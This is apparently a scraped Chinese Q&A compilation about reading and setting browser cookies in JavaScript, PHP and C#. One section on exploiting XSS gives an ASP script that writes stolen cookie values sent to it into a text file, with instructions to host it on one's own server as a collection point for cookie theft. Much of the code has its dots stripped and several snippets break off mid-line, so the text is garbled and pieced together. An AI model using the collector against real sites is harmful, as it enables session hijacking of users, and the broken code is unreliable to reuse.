
get(cookie){
let cookieValue=null;
let cookies=documentcookiesplit(';');
for(var i=0;i<cookieslength;i++){
let cookie=cookies[i]trim();去掉前后的空格
if(cookiesubstring(0,namelength+1)==(name+'=')){
cookieValue=decodeURICompoent(cookiesubstring(namelength+1));
break
}
}
return cookieValue;
}、
XSS获取cookie并利用
获取cookie利用代码cookieasp
<html>
<title>xx</title>
<body>
<%testfile = ServerMapPath('codetxt') //先构造一个路径,也就是取网站根目录,创造一个在根目录下的codetxt路径,保存在testfile中
msg = Request('msg') //获取提交过来的msg变量,也就是cookie值
set fs = serverCreateObject('scriptingfilesystemobject')//创建一个fs对象
set thisfile = fsOpenTextFile(testfile,8,True,0)
thisfileWriteLine(''&msg&'')//像codetxt中写入获取来的cookie
thisfileclose() //关闭
set fs = nothing%>
</body>
</html>
把上述文件保存为cookieasp文件,放到你自己的网站服务器下。比如这里我们自己搭建的服务器为:>
当然不一样
js是基于对象的前端脚本语言,通过dom对象的cookie属性获得所有的cookie值。
php的cookie是面向过程的。通过php预定义变量$_COOKIE得到所有的cookie值。也就是一个数组。
这个是php中cookie的使用
// 设定 cookie
setcookie("cookie['three']", "cookiethree",time()+3600);
setcookie("cookie['two']", "cookietwo",time()+3600);
setcookie("cookie['one']", "cookieone",time()+3600);
// 读取cookie
if (isset($_COOKIE['cookie']))
{
echo $_COOKIE['cookie']['\'two\'']"<br/>";
foreach ($_COOKIE['cookie'] as $name => $value)
{
echo "$name : $value <br />\n";
}
}
值得注意的是。定义cookie变量的时候中括号的变量名实不加 引号的。
这个是js中cookie的使用
function setCookie(n,v)
{
var date=new Date();
datesetTime(dategetTime()+ 601000);
documentcookie=n+"="+escape(v)+"; expires="+datetoGMTString(); //escape function 用于将字符串中非ascii的字符转换为%16进制数。
}
function getCookie(n)
{
var mycookie=documentcookiesplit("; ");
for(var i=0;i<mycookielength;i++)
{
var content=mycookie[i]split("=");
if(n == content[0])
{
return unescape(content[1]);
}
}
return null;
}
function delCookie(n)
{
var date=new Date();
datesetTime(dategetTime()-1);
documentcookie=n+"= "+"; expires="+datetoGMTString();
}
setCookie("name","jerry");
alert(getCookie("name"))
首先JS设置cookie:
假设在A页面中要保存变量username的值("jack")到cookie中,key值为name,则相应的JS代码为:
documentcookie="name="+username;
JS读取cookie:
var username=documentcookiesplit(";")[0]split("=")[1];
function setCookie(name,value)
{
var Days = 30;
var exp = new Date();
expsetTime(expgetTime() + Days2460601000);
documentcookie = name +"="+ escape (value) +";expires=" + exptoGMTString();
}
读取cookies
function getCookie(name)
{
var arr,reg=new RegExp("(^| )"+name+"=([^;])(;|$)");
if(arr=documentcookiematch(reg))
return unescape(arr[2]);
else
return null;
}
扩展资料服务器可以利用Cookies包含信息的任意性来筛选并经常性维护这些信息,以判断在>
另一个重要应用场合是“购物车”之类处理。用户可能会在一段时间内在同一家网站的不同页面中选择不同的商品,这些信息都会写入Cookies,以便在最后付款时提取信息。
documentcookie 的内容如果是这样:
Set-Cookie: Customer="WILE_E_COYOTE"; Version="1"; Path="/acme"
var aCookie = documentcookiesplit("; ")
用"; "分割字符串,得到一个数组:
[
Customer="WILE_E_COYOTE"
Version="1"
Path="/acme"
]
for (var j=0; j < aCookielength; j++){
// 对aCookie每一项,用"="分割
// 如果"="前面的字符串等于参数 sName,就返回"="后面的内容
}
如果 aCookie 中找不到 sName,就返回 null。
/// <summary>
/// 读cookie值
/// </summary>
/// <param name="strName">名称</param>
/// <returns>cookie值</returns>
public static string GetCookie(string strName)
{
if (>
以上就是关于用原js写获取本地cookie的方法全部的内容,包括:用原js写获取本地cookie的方法、xss漏洞获取cookie怎么解决方案、php怎么获取cookie呢等相关内容解答,如果想了解更多相关内容,可以关注我们,你们的支持是我们更新的动力!
欢迎分享,转载请注明来源:内存溢出
微信扫一扫
支付宝扫一扫
评论列表(0条)